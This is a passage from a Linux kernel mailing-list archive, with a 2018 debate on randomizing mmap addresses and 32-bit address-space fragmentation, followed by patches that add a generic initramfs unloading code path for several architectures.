	xaxRp5axHi94lYHZJGQHA5NkDuniNqN/zykOrskUoSDh3yhWsufYLxyP+PZqb4D1WNkcjrNvWopfQ
	K/K4afpZ8Zd5Kd8jafrOQ8SemXD+2hy1QyBAa2LogylAX7yFdIXRulrkO3bhGw5Srogxrt4tbVTJ1
	pW2Y0DP5x30wu1C/z50uRiTWMIJpVGNkDBBTsBu1dzVwR2QCBrV+E2hGLJhXbupMQYbKb4eNlQNeQ
	Lq8TWyMUwWD83Ch3x3Kg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ezSNw-0007ju-So; Fri, 23 Mar 2018 19:29:56 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1ezSNs-0007jM-OG; Fri, 23 Mar 2018 19:29:52 +0000
Content-Disposition: inline
In-Reply-To: <20180323191621.GC1436@brightrain.aerifal.cx>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3625 gmane.linux.ports.mips.general:64168 gmane.linux.ports.sh.devel:56690 gmane.linux.kernel.mm:192185 gmane.linux.ports.sparc:27467 gmane.linux.ports.ia64:28743 gmane.linux.ports.alpha:4835 gmane.linux.ports.arm.kernel:640564 gmane.linux.ports.parisc:28369 gmane.linux.kernel:2724108 gmane.linux.kernel.metag:1714 gmane.linux.ports.ppc64.devel:154980
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3625>

On Fri, Mar 23, 2018 at 03:16:21PM -0400, Rich Felker wrote:
> > Huh, I thought libc was aware of this.  Also, I'd expect a libc-based
> > implementation to restrict itself to, eg, only loading libraries in
> > the bottom 1GB to avoid applications who want to map huge things from
> > running out of unfragmented address space.
> 
> That seems like a rather arbitrary expectation and I'm not sure why
> you'd expect it to result in less fragmentation rather than more. For
> example if it started from 1GB and worked down, you'd immediately
> reduce the contiguous free space from ~3GB to ~2GB, and if it started
> from the bottom and worked up, brk would immediately become
> unavailable, increasing mmap pressure elsewhere.

By *not* limiting yourself to the bottom 1GB, you'll almost immediately
fragment the address space even worse.  Just looking at 'ls' as a
hopefully-good example of a typical app, it maps:

	linux-vdso.so.1 (0x00007ffef5eef000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb3657f5000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb36543b000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fb3651c9000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb364fc5000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fb365c3f000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb364da7000)

The VDSO wouldn't move, but look at the distribution of mapping 6 things
into a 3GB address space in random locations.  What are the odds you have
a contiguous 1GB chunk of address space?  If you restrict yourself to the
bottom 1GB before running out of room and falling back to a sequential
allocation, you'll prevent a lot of fragmentation.

From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 15:35:47 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20180323193547.GD1436@brightrain.aerifal.cx>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <20180323180024.GB1436@brightrain.aerifal.cx>
 <20180323190618.GA23763@bombadil.infradead.org>
 <20180323191621.GC1436@brightrain.aerifal.cx>
 <20180323192952.GB23763@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521833762 21667 195.159.176.226 (23 Mar 2018 19:36:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 19:36:02 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Ilya Smith <blackzert@gmail.com>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        jhogan@kernel.org, ralf@linux-mips.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, mhocko@suse.com, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@mips.com,
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 20:35:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezSTb-0004Lg-Sn
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 20:35:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752397AbeCWThw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 15:37:52 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:33140 "EHLO
        brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751848AbeCWThr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 15:37:47 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
        id 1ezSTb-0001Ha-00; Fri, 23 Mar 2018 19:35:47 +0000
Content-Disposition: inline
In-Reply-To: <20180323192952.GB23763@bombadil.infradead.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724117 gmane.linux.ports.alpha:4836 gmane.linux.kernel.arc:3626 gmane.linux.ports.arm.kernel:640567 gmane.linux.ports.ia64:28744 gmane.linux.kernel.metag:1715 gmane.linux.ports.mips.general:64169 gmane.linux.ports.parisc:28370 gmane.linux.ports.ppc64.devel:154981 gmane.linux.ports.sh.devel:56691 gmane.linux.ports.sparc:27468 gmane.linux.kernel.mm:192189
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724117>

On Fri, Mar 23, 2018 at 12:29:52PM -0700, Matthew Wilcox wrote:
> On Fri, Mar 23, 2018 at 03:16:21PM -0400, Rich Felker wrote:
> > > Huh, I thought libc was aware of this.  Also, I'd expect a libc-based
> > > implementation to restrict itself to, eg, only loading libraries in
> > > the bottom 1GB to avoid applications who want to map huge things from
> > > running out of unfragmented address space.
> > 
> > That seems like a rather arbitrary expectation and I'm not sure why
> > you'd expect it to result in less fragmentation rather than more. For
> > example if it started from 1GB and worked down, you'd immediately
> > reduce the contiguous free space from ~3GB to ~2GB, and if it started
> > from the bottom and worked up, brk would immediately become
> > unavailable, increasing mmap pressure elsewhere.
> 
> By *not* limiting yourself to the bottom 1GB, you'll almost immediately
> fragment the address space even worse.  Just looking at 'ls' as a
> hopefully-good example of a typical app, it maps:
> 
> 	linux-vdso.so.1 (0x00007ffef5eef000)
> 	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb3657f5000)
> 	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb36543b000)
> 	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fb3651c9000)
> 	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb364fc5000)
> 	/lib64/ld-linux-x86-64.so.2 (0x00007fb365c3f000)
> 	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb364da7000)
> 
> The VDSO wouldn't move, but look at the distribution of mapping 6 things
> into a 3GB address space in random locations.  What are the odds you have
> a contiguous 1GB chunk of address space?  If you restrict yourself to the
> bottom 1GB before running out of room and falling back to a sequential
> allocation, you'll prevent a lot of fragmentation.

Oh, you're talking about "with random locations" case. Randomizing
each map just hopelessly fragments things no matter what you do on
32-bit. If you reduce the space over which you randomize to the point
where it's not fragmenting/killing your available vm space, there are
so few degrees of freedom left that it's trivial to brute-force. Maybe
"libs randomized in low 1GB, everything else near-sequential in high
addresses" works half decently, but I have a hard time believing you
can get any ASLR that's significantly better than snake oil in a
32-bit address space, and you certainly do pay a high price in total
available vm space.

Rich


From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 00/16] Generic infrastructure for unloading initramfs
Date: Sat, 24 Mar 2018 13:44:42 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913422 13853 195.159.176.226 (24 Mar 2018 17:43:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:43:42 +0000 (UTC)
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:43:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCa-0006uM-8d
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752703AbeCXRpl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:45:41 -0400
Original-Received: from smtprelay0077.hostedemail.com ([216.40.44.77]:36272 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752597AbeCXRpk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:45:40 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 8418D52B8;
        Sat, 24 Mar 2018 17:45:39 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,shea@shealevy.com,:::::::::::::::::::::::::,RULES_HIT:41:355:379:541:973:988:989:1260:1345:1381:1437:1534:1538:1566:1711:1714:1730:1747:1777:1792:1978:2393:2559:2562:3138:3139:3140:3141:3142:3865:3867:3868:3870:3871:3874:5007:6261:6737:10004:10848:11658:11914:12048:12533:13069:13149:13230:13311:13357:14384:14394:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: lip00_4e58164841614
X-Filterd-Recvd-Size: 1322
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf01.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:38 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724511 gmane.linux.ports.alpha:4837 gmane.linux.kernel.arc:3627 gmane.linux.ports.parisc:28371 gmane.linux.ports.ppc64.devel:154990 gmane.linux.ports.sh.devel:56694 gmane.linux.uml.devel:16668
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724511>

This patch series extracts out code for unloading the initramfs that
was identical across 14 architectures, and moves those architectures
to the common code path. Additionally, RISC-V is newly moved to the
common code path.

In addition to reducing duplication, this allows us to bring future
improvements (such as generalizing existing "keep initrd" command line
options) to multiple architectures at once.



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 01/16] initrd: Add generic code path for common initrd unloading logic.
Date: Sat, 24 Mar 2018 13:44:43 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180324174458.26423-2-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913424 13957 195.159.176.226 (24 Mar 2018 17:43:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:43:44 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:43:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCc-0006uM-Hi
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752721AbeCXRpn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:45:43 -0400
Original-Received: from smtprelay0039.hostedemail.com ([216.40.44.39]:36284 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752704AbeCXRpm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:45:42 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 6C44E52C5;
        Sat, 24 Mar 2018 17:45:41 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3876:3877:4321:4385:4605:5007:6114:6261:6642:6737:10004:10848:11026:11473:11658:11914:12043:12048:12296:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627:30012:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: cows11_4ea06453d7f19
X-Filterd-Recvd-Size: 2112
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf01.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:40 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724512 gmane.linux.ports.alpha:4838 gmane.linux.kernel.arc:3628 gmane.linux.ports.parisc:28372 gmane.linux.ports.ppc64.devel:154991 gmane.linux.ports.sh.devel:56695 gmane.linux.uml.devel:16669
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724512>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 init/initramfs.c | 7 +++++++
 usr/Kconfig      | 4 ++++
 2 files changed, 11 insertions(+)

diff --git a/init/initramfs.c b/init/initramfs.c
index 7e99a0038942..de5ce873eb5a 100644
--- a/init/initramfs.c
+++ b/init/initramfs.c
@@ -526,6 +526,13 @@ extern unsigned long __initramfs_size;
 #include <linux/initrd.h>
 #include <linux/kexec.h>
 
+#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
+void free_initrd_mem(unsigned long start, unsigned long end)
+{
+       free_reserved_area((void *)start, (void *)end, -1, "initrd");
+}
+#endif
+
 static void __init free_initrd(void)
 {
 #ifdef CONFIG_KEXEC_CORE
diff --git a/usr/Kconfig b/usr/Kconfig
index 43658b8a975e..fd79d4d6fa26 100644
--- a/usr/Kconfig
+++ b/usr/Kconfig
@@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
 	default ".lzma" if RD_LZMA
 	default ".bz2"  if RD_BZIP2
 	default ""
+
+# Arches can select this for a generic initrd unloading codepath
+config INITRAMFS_GENERIC_UNLOAD
+	bool
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 02/16] riscv: Use INITRAMFS_GENERIC_UNLOAD.
Date: Sat, 24 Mar 2018 13:44:44 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20180324174458.26423-3-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913430 14456 195.159.176.226 (24 Mar 2018 17:43:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:43:50 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:43:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCg-0006uM-Ap
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752740AbeCXRps (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:45:48 -0400
Original-Received: from smtprelay0056.hostedemail.com ([216.40.44.56]:36299 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752722AbeCXRpp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:45:45 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 2914183E4;
        Sat, 24 Mar 2018 17:45:44 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3350:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:14877:21080:21611:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: talk18_4f129d8bd6601
X-Filterd-Recvd-Size: 1931
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf10.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:43 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724513 gmane.linux.ports.alpha:4839 gmane.linux.kernel.arc:3629 gmane.linux.ports.parisc:28373 gmane.linux.ports.ppc64.devel:154992 gmane.linux.ports.sh.devel:56696 gmane.linux.uml.devel:16670
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724513>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/riscv/Kconfig   | 1 +
 arch/riscv/mm/init.c | 6 ------
 2 files changed, 1 insertion(+), 6 deletions(-)

diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index c22ebe08e902..ab1b4cee84fc 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -37,6 +37,7 @@ config RISCV
 	select THREAD_INFO_IN_TASK
 	select RISCV_TIMER
 	select GENERIC_IRQ_MULTI_HANDLER
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	def_bool y
diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
index c77df8142be2..36f83fe8a726 100644
--- a/arch/riscv/mm/init.c
+++ b/arch/riscv/mm/init.c
@@ -62,9 +62,3 @@ void free_initmem(void)
 {
 	free_initmem_default(0);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-}
-#endif /* CONFIG_BLK_DEV_INITRD */
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 05/16] c6x: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:47 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180324174458.26423-6-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913440 15197 195.159.176.226 (24 Mar 2018 17:44:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:00 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:43:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCs-0003pf-Tn
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752797AbeCXRp7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:45:59 -0400
Original-Received: from smtprelay0162.hostedemail.com ([216.40.44.162]:45416 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752741AbeCXRpx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:45:53 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id 5E874181D341A;
        Sat, 24 Mar 2018 17:45:52 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
